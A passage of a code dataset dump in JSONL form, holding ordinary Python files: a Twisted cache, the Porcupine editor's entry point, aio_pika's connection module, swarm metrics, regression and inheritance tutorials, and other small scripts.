sheetName)\nprint(\"PeopleDF\")\nprint(peopleDF)\n","sub_path":"class_examples/5-read_write_excel/read_excel.py","file_name":"read_excel.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"136888910","text":"\"\"\"\npickpack_cache.py\n\nCaching for the Pick Pack server\n\n\nChristian M. Long, developer\n\nchristianzlong@gmail.com\n\nLanguage: Python 2.7 www.python.org\n\"\"\"\n\nimport time\n\nfrom twisted.internet import defer\n\nfrom CML_Common.utility import utl_decorators\n\nfrom CML_Pickpack.pickpack_modules import pickpack_errors\nfrom CML_Pickpack.pickpack_modules import pickpack_constants\n\nfrom CML_Pickpack.pickpack_modules.pickpack_resource import PickPackGettableResource\n\nclass TimedCache(object):\n \"\"\"\n A very simple cache object with time expiry. The cache_lifetime argument\n specifies how long the data should be cached, in seconds.\n \"\"\"\n def __init__(self, cache_lifetime):\n self._cache_data = None\n\n self._cache_timestamp = None\n self._cache_lifetime = int(cache_lifetime)\n\n self._reset_timer()\n\n def _reset_timer(self):\n self._cache_timestamp = time.time()\n\n # Properties +++++++++++++++++++\n #\n # A note about properties:\n #\n # Properties are special attributes of class objects. Properties are created\n # using the property() function. Here, we're using the\n # utl_decorators.makeProperty function as a decorator. It takes the function\n # it decorates and replaces it with a property.\n #\n #\n # Example:\n #\n # @utl_decorators.makeProperty\n # def user_id():\n # doc = \"\"\"\n # User Id property of GlobalUtilityClass.\n # \"\"\"\n # def fget(self):\n # return self._user_id\n # def fset(self, value):\n # self._user_id = str(value)\n # # Return the local scope, containing the fget and fset functions,\n # # no fdel function, and a docstring. Once passed through the\n # # utl_decorators.makeProperty decorator, user_id will be a property.\n # return locals()\n #\n #\n #\n # pylint: disable=E0202, E0211, W0212, C0111\n #\n # Locally disabled pylint messages\n # E0202: An attribute inherited from ### hides this method\n # E0211: Method has no argument\n # W0212: Access to a protected member _user_initials of a client class\n # C0111: Missing docstring\n\n @utl_decorators.makeProperty\n def cache_data():\n doc = \"\"\"\n The data in the cache\n \"\"\"\n def fget(self):\n if not pickpack_constants.ENABLE_CACHE:\n # Cacheing not enabled\n raise pickpack_errors.CacheMiss\n\n if self._cache_data is None:\n # No data in the cache yet\n raise pickpack_errors.CacheMiss\n\n if time.time() > self._cache_timestamp + self._cache_lifetime:\n # The data in the cache has expired\n raise pickpack_errors.CacheMiss\n\n # Cache hit, return data from cache\n return self._cache_data\n\n # No need for a setter property. All setting will happen via\n # set_cache_data_callback().\n #def fset(self, value):\n # self._set_cache_data(value)\n\n return locals()\n # pylint: enable=E0202, E0211, W0212, C0111\n\n def set_cache_data_callback(self, cache_data):\n \"\"\"\n This function is used as a callback, to set the value in the cache.\n \"\"\"\n # Make sure to use our _set_cache_data() method here, rather than going\n # after the \"private\" instance variable (self._cache_data) directly.\n self._set_cache_data(cache_data)\n\n # This is a callback, called from a deferred. We pass the data along\n # so it can continue to be passed down the deferred chain.\n return cache_data\n\n def _set_cache_data(self, value):\n self._cache_data = value\n self._reset_timer()\n\n\n\nclass CachedResource(PickPackGettableResource):\n \"\"\"\n Base class for classes that cache data for the Parts server processes.\n \"\"\"\n def __init__(self):\n # Call the constructor of our base class\n PickPackGettableResource.__init__(self)\n\n # Default timeout is 30 seconds\n self.cache_timeout = 30\n\n def dataMethod(self,\n request,\n ):\n \"\"\"\n Override in derived classes.\n \"\"\"\n raise NotImplementedError\n\n def getCachedData_deferred(self, *args):\n \"\"\"\n Get the data from cache or from the db.\n \"\"\"\n # Note: This naive cache implementation is not resistent to the dogpile\n # effect. That happens when one request comes in, gets a cache miss, and\n # starts the process of running the database query to refresh the cache\n # data. Meanwhile, another request comes in (before the first one\n # completes and resets the timer on the cache), sees the data is stale,\n # and launches its own database query.\n #\n # Lots of closely-spaced requests can cause more queries than necessary.\n # In this implementation, with few clients and low refresh rates, it\n # shouldn't be a problem.\n\n try:\n # Is there a cache object in self.cache_dict for this set of\n # arguments?\n cache_object = self.cache_dict[args] # pylint: disable=no-member\n except KeyError:\n # We did not find a cache object for these arguments. Create a new\n # cache object, and store it in self.cache_dict, indexed by args. It\n # expires every 30 seconds.\n cache_object = self.cache_dict[args] = TimedCache(cache_lifetime = self.cache_timeout) # pylint: disable=no-member\n # Start the process of querying the database and populating the\n # cache. Return a deferred that will eventually supply us with fresh\n # data.\n return self.handle_cache_miss(cache_object, args)\n\n try:\n # Is there fresh data in the cache object?\n cache_data = cache_object.cache_data\n except pickpack_errors.CacheMiss:\n # Cache miss. The data has expired. Return a deferred that will\n # eventually supply us with fresh data.\n return self.handle_cache_miss(cache_object, args)\n else:\n # Cache hit. Return an already-fired deferred containing the cached\n # data.\n return defer.succeed(cache_data)\n\n def handle_cache_miss(self, cache_object, args):\n \"\"\"\n This gets called when there's a cache miss, or the cache was expired, or\n to populate a newly-created cache object.\n\n Returns a deferred, which will eventually give us the results of the\n database query we make to get fresh data.\n \"\"\"\n\n # Set in motion the process to re-query the database. That returns a\n # deferred.\n deferred = self.getDbData_deferred(*args) # pylint: disable=no-member\n\n # Set up the deferred so that it populates the cache with the fresh data\n # once it gets the data back. We do this by adding the cache's setter\n # function to the end of this deferred's callback chain.\n deferred.addCallback(cache_object.set_cache_data_callback)\n\n # Return the deferred so Twisted can manage it.\n return deferred\n","sub_path":"career/portfolio/consulting/pickpack/App/CML_Pickpack/pickpack_modules/pickpack_cache.py","file_name":"pickpack_cache.py","file_ext":"py","file_size_in_byte":7267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"499477852","text":"\"\"\"Parse arguments and run Porcupine using ``_run.py``.\"\"\"\n\nimport argparse\nimport logging\nimport os\nimport sys\n\nfrom porcupine import _logs, pluginloader, get_tab_manager, tabs, utils\nimport porcupine.plugins # .plugins for porcupine.plugins.__path__\n\nlog = logging.getLogger(__name__)\n\n\n# these actions are based on argparse's source code\n\nclass _PrintPlugindirAction(argparse.Action):\n\n def __init__(self, option_strings, dest=argparse.SUPPRESS,\n default=argparse.SUPPRESS, help=None):\n super().__init__(option_strings=option_strings, dest=dest,\n default=default, nargs=0, help=help)\n\n def __call__(self, parser, namespace, values, option_string=None):\n print(\"You can install plugins here:\\n\\n %s\\n\"\n % porcupine.plugins.__path__[0])\n parser.exit()\n\n\n# \"porcupine -n a b c -n\" works, but unfortunately \"porcupine a -n b\" doesn't\nclass _ExtendAction(argparse.Action):\n\n def __init__(self, option_strings, dest, nargs=None, const=None,\n default=None, type=None, choices=None, required=False,\n help=None, metavar=None):\n assert nargs != 0 and (const is None or nargs == argparse.OPTIONAL)\n super().__init__(option_strings=option_strings, dest=dest, nargs=nargs,\n const=const, default=default, type=type,\n choices=choices, required=required, help=help,\n metavar=metavar)\n\n def __call__(self, parser, namespace, values, option_string=None):\n if getattr(namespace, self.dest) is None:\n setattr(namespace, self.dest, [])\n getattr(namespace, self.dest).extend(values)\n\n\n_EPILOG = r\"\"\"\nExamples:\n %(prog)s # run Porcupine normally\n %(prog)s file1.py file2.js # open the given files on startup\n %(prog)s -nnn # create 3 new files\n %(prog)s --no-plugins # understand the power of plugins\n %(prog)s --verbose # produce lots of nerdy output\n\"\"\"\n\n\ndef main():\n if os.path.basename(sys.argv[0]) == '__main__.py':\n prog = '%s -m porcupine' % utils.short_python_command\n else:\n prog = os.path.basename(sys.argv[0]) # argparse default\n parser = argparse.ArgumentParser(\n prog=prog, epilog=_EPILOG,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\n parser.add_argument(\n '-v', '--version', action='version',\n version=(\"Porcupine %s\" % porcupine.__version__),\n help=\"display the Porcupine version number and exit\")\n parser.add_argument(\n '--print-plugindir', action=_PrintPlugindirAction,\n help=\"find out where to install custom plugins\")\n parser.add_argument(\n 'files', metavar='FILES', action=_ExtendAction,\n # FIXME: this uses the system-default encoding :/\n nargs=argparse.ZERO_OR_MORE, type=argparse.FileType(\"r\"),\n help=\"open these files when Porcupine starts, - means stdin\")\n parser.add_argument(\n '-n', '--new-file', dest='files', action='append_const', const=None,\n help='create a \"New File\" tab, may be given multiple times')\n\n plugingroup = parser.add_argument_group(\"plugin loading options\")\n plugingroup.add_argument(\n '--no-plugins', action='store_false', dest='yes_plugins',\n help=(\"don't load any plugins, this is useful for \"\n \"understanding how much can be done with plugins\"))\n plugingroup.add_argument(\n '--without-plugin', metavar='PLUGIN', action='append', default=[],\n help=(\"don't load PLUGIN, e.g. --without-plugin=highlight \"\n \"runs Porcupine without syntax highlighting, multiple \"\n \"--without-plugins can be given\"))\n plugingroup.add_argument(\n '--shuffle-plugins', action='store_true',\n help=(\"respect setup_before and setup_after, but otherwise setup the \"\n \"plugins in a random order instead of sorting by name \"\n \"alphabetically, useful for making sure that your plugin's \"\n \"setup_before and setup_after define everything needed; usually \"\n \"plugins are not shuffled in order to make the UI consistent\"))\n\n parser.add_argument(\n '--verbose', action='store_true',\n help=(\"print all logging messages to stderr, only warnings and errors \"\n \"are printed by default (but all messages always go to a log \"\n \"file in %s as well)\" % _logs.LOG_DIR))\n\n args = parser.parse_args()\n\n filelist = []\n for file in args.files:\n if file is sys.stdin:\n # don't close stdin so it's possible to do this:\n #\n # $ porcupine - -\n # bla bla bla\n # ^D\n # bla bla\n # ^D\n filelist.append((None, file.read()))\n elif file is None:\n # -n or --new-file was used\n filelist.append((None, ''))\n else:\n with file:\n filelist.append((os.path.abspath(file.name), file.read()))\n\n porcupine.init(verbose_logging=args.verbose)\n if args.yes_plugins:\n plugin_names = pluginloader.find_plugins()\n log.info(\"found %d plugins\", len(plugin_names))\n for name in args.without_plugin:\n if name in plugin_names:\n plugin_names.remove(name)\n else:\n log.warning(\"no plugin named %r, cannot load without it\", name)\n\n pluginloader.load(plugin_names, shuffle=args.shuffle_plugins)\n\n tabmanager = get_tab_manager()\n for path, content in filelist:\n tabmanager.add_tab(tabs.FileTab(tabmanager, content, path))\n\n porcupine.run()\n log.info(\"exiting Porcupine successfully\")\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"porcupine/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":5764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"251149039","text":"from arrange4 import Arrange4\n\nimport json\nimport sys\nsys.path.insert(0, \"./model1\")\nfrom collude4 import Collude4\nfrom det4 import DET4\nfrom rule4 import Rule4\n\nFULL_EFFORT = \"full-effort\"\nWB_COLLUSION = \"winner-bracket\"\nLB_COLLUSION = \"loser-bracket\"\nDB_COLLUSION = \"dual-brackets\"\nPRECISION = 6\nSEARCH_BOUND = round(1 / 3, PRECISION)\n\nLOG = open(\"log.json\", \"w\")\n\ndef run_tournament(id, wb_rule, lb_rule, type=FULL_EFFORT, pair=None, std_rates=None):\n index = 0\n wins = [0, 0, 0, 0]\n arrangement_generator = Arrange4()\n\n while arrangement_generator.has_next():\n arrangement = arrangement_generator.next()\n tournament = DET4(wb_rule, lb_rule, arrangement)\n results = tournament.run()\n exports = {\n \"id\": id,\n \"type\": type,\n **results,\n \"arrangement\": arrangement,\n \"wb_rule\": wb_rule.tolist(),\n \"lb_rule\": lb_rule.tolist()\n }\n\n json.dump(exports, LOG)\n LOG.write(\"\\n\")\n wins[results[\"winner\"]] += 1\n index += 1\n\n rates = []\n for win in wins:\n rates.append(win / index)\n\n evals = {\n \"rates\": rates\n }\n\n if type is not FULL_EFFORT:\n evals[\"alpha\"] = round(rates[pair[0]] + rates[pair[1]] - std_rates[pair[0]] - std_rates[pair[1]], PRECISION)\n evals[\"pair\"] = list(pair)\n\n json.dump(evals, LOG)\n LOG.write(\"\\n\\n\")\n return evals\n\ndef main():\n id = 0\n rule_generator = Rule4()\n while rule_generator.has_next():\n rule = rule_generator.next()\n std_rates = run_tournament(id, rule, rule)[\"rates\"]\n\n collusion_generator = Collude4(rule)\n alpha = 0\n while collusion_generator.has_next():\n collusion, pair = collusion_generator.next()\n alpha = run_tournament(id, collusion, rule, WB_COLLUSION, pair, std_rates)[\"alpha\"]\n if alpha > SEARCH_BOUND:\n print(\"id: {}, type: {}, pair: {}, alpha: {}\".format(id, WB_COLLUSION, pair, alpha))\n\n alpha = run_tournament(id, rule, collusion, LB_COLLUSION, pair, std_rates)[\"alpha\"]\n if alpha > SEARCH_BOUND:\n print(\"id: {}, type: {}, pair: {}, alpha: {}\".format(id, LB_COLLUSION, pair, alpha))\n\n alpha = run_tournament(id, collusion, collusion, DB_COLLUSION, pair, std_rates)[\"alpha\"]\n if alpha > SEARCH_BOUND:\n print(\"id: {}, type: {}, pair: {}, alpha: {}\".format(id, DB_COLLUSION, pair, alpha))\n\n LOG.write(\"\\n\")\n id += 1\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/2-det4/exec4.py","file_name":"exec4.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"377657463","text":"import json\n\ndef greet_user():\n \"\"\"Great the user by name.\"\"\"\n username = get_username()\n if username:\n prompt = input(\"Are you \" + username + \" (y/n)? \")\n if prompt == 'y':\n print(\"Welcome back, \" + username + \"!\")\n elif prompt == 'n':\n username = newuser()\n print(\"We'll remember you when you come back, \" + username + '!')\n else:\n username = newuser()\n print(\"We'll remember you when you come back, \" + username + '!')\n\n\ndef get_username():\n \"\"\"Get username if available\"\"\"\n filename = 'user.json'\n try:\n with open(filename) as fobj:\n username = json.load(fobj)\n except FileNotFoundError:\n return None\n else:\n return username\n\n\ndef newuser():\n \"\"\"Prompt for a new username\"\"\"\n username = input('Please enter your name: ')\n filename = 'user.json'\n with open(filename, 'w') as fobj:\n json.dump(username, fobj)\n return username\n\n\n","sub_path":"Chapter 10/combinedjson.py","file_name":"combinedjson.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"611544490","text":"import asyncio\nimport logging\nfrom functools import partial\nfrom typing import Optional, Type, TypeVar\n\nimport aiormq\nfrom aiormq.tools import censor_url\nfrom yarl import URL\n\nfrom .channel import Channel\nfrom .pool import PoolInstance\nfrom .tools import CallbackCollection\nfrom .types import CloseCallbackType, TimeoutType\n\n\nlog = logging.getLogger(__name__)\n\n\nclass Connection(PoolInstance):\n \"\"\" Connection abstraction \"\"\"\n\n CHANNEL_CLASS = Channel\n KWARGS_TYPES = ()\n\n @property\n def is_closed(self):\n return self.closing.done()\n\n async def close(self, exc=asyncio.CancelledError):\n if not self.closing.done():\n self.closing.set_result(exc)\n\n return await self.connection.close(exc)\n\n @classmethod\n def _parse_kwargs(cls, kwargs):\n result = {}\n for key, parser, default in cls.KWARGS_TYPES:\n result[key] = parser(kwargs.get(key, default))\n return result\n\n def __init__(\n self, url, loop: Optional[asyncio.AbstractEventLoop] = None, **kwargs\n ):\n self.loop = loop or asyncio.get_event_loop()\n self.url = URL(url)\n\n self.kwargs = self._parse_kwargs(kwargs or self.url.query)\n\n self._close_callbacks = CallbackCollection(self)\n self.connection = None # type: Optional[aiormq.Connection]\n self.closing = self.loop.create_future()\n\n @property\n def close_callbacks(self) -> CallbackCollection:\n return self._close_callbacks\n\n @property\n def heartbeat_last(self) -> float:\n \"\"\" returns loop.time() value since last received heartbeat \"\"\"\n return self.connection.heartbeat_last_received\n\n @property\n def _channels(self) -> dict:\n return self.connection.channels\n\n def __str__(self):\n return str(censor_url(self.url))\n\n def __repr__(self):\n return '<{0}: \"{1}\">'.format(self.__class__.__name__, str(self))\n\n def add_close_callback(\n self, callback: CloseCallbackType, weak: bool = False\n ):\n \"\"\" Add callback which will be called after connection will be closed.\n\n :class:`BaseException` or None will be passed as a first argument.\n\n Example:\n\n .. code-block:: python\n\n import aio_pika\n\n async def main():\n connection = await aio_pika.connect(\n \"amqp://guest:guest@127.0.0.1/\"\n )\n connection.add_close_callback(print)\n await connection.close()\n # None\n\n\n :return: None\n \"\"\"\n self.close_callbacks.add(callback, weak=weak)\n\n def _on_connection_close(self, connection, closing, *args, **kwargs):\n exc = closing.exception()\n self.close_callbacks(exc)\n log.debug(\"Closing AMQP connection %r\", connection)\n\n async def _make_connection(self, **kwargs) -> aiormq.Connection:\n connection = await aiormq.connect(self.url, **kwargs)\n connection.closing.add_done_callback(\n partial(self._on_connection_close, self.connection),\n )\n return connection\n\n async def connect(self, timeout: TimeoutType = None, **kwargs):\n \"\"\" Connect to AMQP server. This method should be called after\n :func:`aio_pika.connection.Connection.__init__`\n\n .. note::\n This method is called by :func:`connect`.\n You shouldn't call it explicitly.\n\n \"\"\"\n self.connection = await asyncio.wait_for(\n self._make_connection(**kwargs), timeout=timeout,\n )\n\n def channel(\n self,\n channel_number: int = None,\n publisher_confirms: bool = True,\n on_return_raises: bool = False,\n ) -> Channel:\n \"\"\" Coroutine which returns new instance of :class:`Channel`.\n\n Example:\n\n .. code-block:: python\n\n import aio_pika\n\n async def main(loop):\n connection = await aio_pika.connect(\n \"amqp://guest:guest@127.0.0.1/\"\n )\n\n channel1 = connection.channel()\n await channel1.close()\n\n # Creates channel with specific channel number\n channel42 = connection.channel(42)\n await channel42.close()\n\n # For working with transactions\n channel_no_confirms = connection.channel(\n publisher_confirms=True\n )\n await channel_no_confirms.close()\n\n Also available as an asynchronous context manager:\n\n .. code-block:: python\n\n import aio_pika\n\n async def main(loop):\n connection = await aio_pika.connect(\n \"amqp://guest:guest@127.0.0.1/\"\n )\n\n async with connection.channel() as channel:\n # channel is open and available\n\n # channel is now closed\n\n :param channel_number: specify the channel number explicit\n :param publisher_confirms:\n if `True` the :func:`aio_pika.Exchange.publish` method will be\n return :class:`bool` after publish is complete. Otherwise the\n :func:`aio_pika.Exchange.publish` method will be return\n :class:`None`\n :param on_return_raises:\n raise an :class:`aio_pika.exceptions.DeliveryError`\n when mandatory message will be returned\n \"\"\"\n\n log.debug(\"Creating AMQP channel for connection: %r\", self)\n\n channel = self.CHANNEL_CLASS(\n connection=self,\n channel_number=channel_number,\n publisher_confirms=publisher_confirms,\n on_return_raises=on_return_raises,\n )\n\n log.debug(\"Channel created: %r\", channel)\n return channel\n\n async def ready(self):\n while self.connection is None:\n await asyncio.sleep(0)\n\n def __del__(self):\n if any((self.is_closed, self.loop.is_closed(), not self.connection)):\n return\n\n asyncio.shield(self.close())\n\n async def __aenter__(self) -> \"Connection\":\n return self\n\n async def __aexit__(self, exc_type, exc_val, exc_tb):\n for channel in tuple(self._channels.values()):\n await channel.close()\n\n await self.close()\n\n\nConnectionType = TypeVar(\"ConnectionType\", bound=Connection)\n\n\nasync def connect(\n url: str = None,\n *,\n host: str = \"localhost\",\n port: int = 5672,\n login: str = \"guest\",\n password: str = \"guest\",\n virtualhost: str = \"/\",\n ssl: bool = False,\n loop: asyncio.AbstractEventLoop = None,\n ssl_options: dict = None,\n timeout: TimeoutType = None,\n connection_class: Type[ConnectionType] = Connection,\n client_properties: dict = None,\n **kwargs\n) -> ConnectionType:\n\n \"\"\" Make connection to the broker.\n\n Example:\n\n .. code-block:: python\n\n import aio_pika\n\n async def main():\n connection = await aio_pika.connect(\n \"amqp://guest:guest@127.0.0.1/\"\n )\n\n Connect to localhost with default credentials:\n\n .. code-block:: python\n\n import aio_pika\n\n async def main():\n connection = await aio_pika.connect()\n\n .. note::\n\n The available keys for ssl_options parameter are:\n * cert_reqs\n * certfile\n * keyfile\n * ssl_version\n\n For an information on what the ssl_options can be set to reference the\n `official Python documentation`_ .\n\n Set connection name for RabbitMQ admin panel:\n\n .. code-block:: python\n\n read_connection = await connect(\n client_properties={\n 'connection_name': 'Read connection'\n }\n )\n\n write_connection = await connect(\n client_properties={\n 'connection_name': 'Write connection'\n }\n )\n\n .. note:\n\n ``client_properties`` argument requires ``aiormq>=2.9``\n\n URL string might be contain ssl parameters e.g.\n `amqps://user:pass@host//?ca_certs=ca.pem&certfile=crt.pem&keyfile=key.pem`\n\n :param client_properties: add custom client capability.\n :param url:\n RFC3986_ formatted broker address. When :class:`None`\n will be used keyword arguments.\n :param host: hostname of the broker\n :param port: broker port 5672 by default\n :param login: username string. `'guest'` by default.\n :param password: password string. `'guest'` by default.\n :param virtualhost: virtualhost parameter. `'/'` by default\n :param ssl: use SSL for connection. Should be used with addition kwargs.\n :param ssl_options: A dict of values for the SSL connection.\n :param timeout: connection timeout in seconds\n :param loop:\n Event loop (:func:`asyncio.get_event_loop()` when :class:`None`)\n :param connection_class: Factory of a new connection\n :param kwargs: addition parameters which will be passed to the connection.\n :return: :class:`aio_pika.connection.Connection`\n\n .. _RFC3986: https://goo.gl/MzgYAs\n .. _official Python documentation: https://goo.gl/pty9xA\n\n\n \"\"\"\n\n if url is None:\n kw = kwargs\n kw.update(ssl_options or {})\n\n url = URL.build(\n scheme=\"amqps\" if ssl else \"amqp\",\n host=host,\n port=port,\n user=login,\n password=password,\n # yarl >= 1.3.0 requires path beginning with slash\n path=\"/\" + virtualhost,\n query=kw,\n )\n\n connection = connection_class(url, loop=loop)\n\n await connection.connect(\n timeout=timeout, client_properties=client_properties, loop=loop,\n )\n return connection\n\n\n__all__ = (\"connect\", \"Connection\")\n","sub_path":"aio_pika/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":9728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"229617184","text":"# Project: SwarmAggregation\r\n# Filename: metrics.py\r\n# Authors: Joshua J. Daymude (jdaymude@asu.edu) and Noble C. Harasha\r\n# (nharasha@mit.com).\r\n\r\n\"\"\"\r\nmetrics: A library of aggregation metrics.\r\n\"\"\"\r\n\r\nfrom math import hypot\r\nimport numpy as np\r\nfrom scipy.spatial import ConvexHull, distance_matrix\r\nfrom welzl import welzl\r\n\r\n\r\ndef sed_circumference(config):\r\n \"\"\"\r\n Takes as input an N x 3 array of robot position and orientation data and\r\n returns the circumference of the system's smallest enclosing disc.\r\n \"\"\"\r\n _, _, radius = welzl(config[:,:2])\r\n return 2*np.pi * radius\r\n\r\n\r\ndef hull_perimeter(config):\r\n \"\"\"\r\n Takes as input an N x 3 array of robot position and orientation data and\r\n returns the perimeter of the system's convex hull.\r\n \"\"\"\r\n hull = ConvexHull(config[:,:2])\r\n perimeter = 0\r\n for i in range(len(hull.vertices)):\r\n v1, v2 = config[hull.vertices[i-1]][:2], config[hull.vertices[i]][:2]\r\n perimeter += hypot(*(v1 - v2))\r\n\r\n return perimeter\r\n\r\n\r\ndef dispersion(config):\r\n \"\"\"\r\n Takes as input an N x 3 array of robot position and orientation data and\r\n returns the system's dispersion.\r\n \"\"\"\r\n xs, ys = config[:,0], config[:,1]\r\n return np.sum(np.sqrt((xs - np.mean(xs))**2 + (ys - np.mean(ys))**2))\r\n\r\n\r\ndef cluster_fraction(config, r, eps=0.05):\r\n \"\"\"\r\n Takes as input an N x 3 array of robot position and orientation data and the\r\n radius of each robot and returns the fraction of robots in the system's\r\n largest connected cluster, where 'connected' is within epsilon% touching.\r\n \"\"\"\r\n def DFS(config, i, r, dists, visited, cluster):\r\n visited[i] = 1\r\n cluster.append(i)\r\n for j in range(len(config)):\r\n if visited[j] == 0 and dists[i][j] <= (2 + eps)*r:\r\n DFS(config, j, r, dists, visited, cluster)\r\n\r\n dists = distance_matrix(config[:,:2], config[:,:2])\r\n visited = np.zeros(len(config))\r\n clusters = []\r\n\r\n for i in range(len(config)):\r\n if visited[i] == 0:\r\n cluster = []\r\n DFS(config, i, r, dists, visited, cluster)\r\n clusters.append(cluster)\r\n\r\n return max([len(cluster) for cluster in clusters]) / len(config)\r\n","sub_path":"metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"563155522","text":"import numpy as np\nimport pandas as pd\nimport matplotlib as mpl\nmpl.use('TkAgg')\nimport matplotlib.pyplot as plt\n\n\n#importing dataset\ndataset=pd.read_csv('50_Startups.csv')\nX=dataset.iloc[:,:-1].values\ny=dataset.iloc[:,4].values\n\n#dealing with categorical data at column index 0\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X = LabelEncoder()\nX[:,3] = labelencoder_X.fit_transform(X[:,3])\nonehotencoder = OneHotEncoder(categorical_features = [3])\nX = onehotencoder.fit_transform(X).toarray()\n\n#Avoiding the dummy variable trap\nX = X[:, 1:]\n\n\n#splitting the dataset into the training and test sets\nfrom sklearn.model_selection import train_test_split #used model_selection in place of cross_validation since the latter is deprecated\nX_train, X_test, y_train, y_test = train_test_split(X,y,test_size = 0.2, random_state = 0)\n\n#Fitting MultiLinear Regression to the training set\nfrom sklearn.linear_model import LinearRegression\nregressor = LinearRegression()\nregressor.fit(X_train, y_train)\n\n#predecting the test set results\ny_pred = regressor.predict(X_test)\n\n#Building the optimal model using backward elmimination\nimport statsmodels.formula.api as sm\nX = np.append(arr = np.ones((50,1)).astype(int), values = X, axis = 1)\nX_opt = X[:, [0,1,2,3,4,5]]\nregressor_OLS = sm.OLS(endog=y, exog=X_opt).fit()\nregressor_OLS.summary()\nX_opt = X[:, [0,1,3,4,5]]\nregressor_OLS = sm.OLS(endog=y, exog=X_opt).fit()\nregressor_OLS.summary()\nX_opt = X[:, [0,3,4,5]]\nregressor_OLS = sm.OLS(endog=y, exog=X_opt).fit()\nregressor_OLS.summary()\nX_opt = X[:, [0,3,5]]\nregressor_OLS = sm.OLS(endog=y, exog=X_opt).fit()\nregressor_OLS.summary()\nX_opt = X[:, [0,3]]\nregressor_OLS = sm.OLS(endog=y, exog=X_opt).fit()\nregressor_OLS.summary()","sub_path":"Regression/MultipleLinearRegression/multiple_linear_regression.py","file_name":"multiple_linear_regression.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"393427131","text":"import numpy as np\r\nimport random\r\nfrom shapely.geometry import Polygon, Point\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef get_random_point_in_polygon(poly, div):\r\n\tps=[]\r\n\t(minx, miny, maxx, maxy) = poly.bounds\r\n\tfor i in range(div):\r\n\t\tp = Point(random.uniform(minx, maxx), random.uniform(miny, maxy))\r\n\t\tif poly.contains(p):\r\n\t\t\tps.append(np.array(p))\r\n\treturn np.array(ps)\r\n\r\np = Polygon([(0, 0), (0, 2), (1, 1), (2, 2), (2, 0), (1, 1), (0, 0)])\r\npoint_in_poly = get_random_point_in_polygon(p, 1000)\r\nprint(point_in_poly)\r\nplt.plot(point_in_poly[:, 0], point_in_poly[:, 1], 'o', label = 'data')\r\nplt.legend()\r\nplt.show()","sub_path":"experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"306624461","text":"class ContactList(list):\n def search(self, name):\n \"\"\"Return all contacts that contain the search value\n in their name.\"\"\"\n matching_contacts = []\n for contact in self:\n if name in contact.name:\n matching_contacts.append(contact)\n return matching_contacts\n\n\nclass Contact:\n all_contacts = ContactList()\n\n def __init__(self, name='', email='', **kwargs):\n super().__init__(**kwargs)\n self.name = name\n self.email = email\n Contact.all_contacts.append(self)\n\n\nclass Supplier(Contact):\n def order(self, order):\n print(\"If this were a real system we would send\"\n \"'{}' order to '{}'\".format(order, self.name))\n\n\nclass AddressHolder:\n def __init__(self, street='', city='', state='', code='', **kwargs):\n super().__init__(**kwargs)\n self.street = street\n self.city = city\n self.state = state\n self.code = code\n\n\nclass Friend(Contact, AddressHolder):\n def __init__(self, phone='', **kwargs):\n super().__init__(**kwargs)\n self.phone = phone\n\n\nclass MailSender:\n def __init__(self, email):\n self.email = email\n\n def send_mail(self, massage):\n print(\"Sending mail to \" + self.email)\n # Logic stuff\n\n\nclass EmailAbleContact(Contact, MailSender):\n pass\n\n\n\n\ne = EmailAbleContact(\"john Smith\", \"jsmith@example.net\")\ne.send_mail(\"hi\")\n\n# c = Contact(\"Some Body\", \"somebody@example.net\")\n# s = Supplier(\"Sup Plier\", \"supplier@example.net\")\n# print(c.name, c.email, s.name, s.email)\n#\n# # print(c.order(\"I need pliers\"))\n#\n# # Error : AttributeError: 'Contact' object has no attribute 'order'\n#\n#\n# print(s.order(\"I need pliers\"))\n","sub_path":"Book/master the art of design patterns(book)/module 1/Chapter 3 : When Objects Are Alike/Basic inheritance.py","file_name":"Basic inheritance.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"67060819","text":"'''\n\tPost-processing script that implements a speech rate analysis model to \n\tdetermine the relative speed of a turn per speaker.\n\n\tDeveloped by:\n\n\t\tMuhammad Umair\t\t\t\t\t\t\t\t\n\t\tTufts University\n\t\tHuman Interaction Lab at Tufts\n\n\tInitial development: 6/17/19\n\n\n\tCHANGELOG:\n\n\t- 1/28/2020\n\t\t-- Changes made by --> Muhammad Umair\n\t\t-- Changes made --> Changed the numColons algorithm such that \n\t\t\t\t\t\t\tthe syllRateDiff is difference between\n\t\t\t\t\t\t\tthe current syllable rate and the median,\n\t\t\t\t\t\t\twhich is divided by MAD to find the number \n\t\t\t\t\t\t\tof colons.\n\t\t-- Previous --> Previously, syllRateDiff wsa difference between\n\t\t\t\t\t\tsyllRate and MAD, which then divided MAD.\n\n'''\n\nimport os, sys\nimport librosa.display \t\t\t\t\t\t# Library to display signal.\nimport numpy \t\t\t\t\t\t\t\t\t# Library to have multi-dimensional homogenous arrays.\nfrom big_phoney import BigPhoney\t\t\t\t# Finds the syllables per word.\nfrom statsmodels import robust \t\t\t\t\t# Statistics library.\nimport 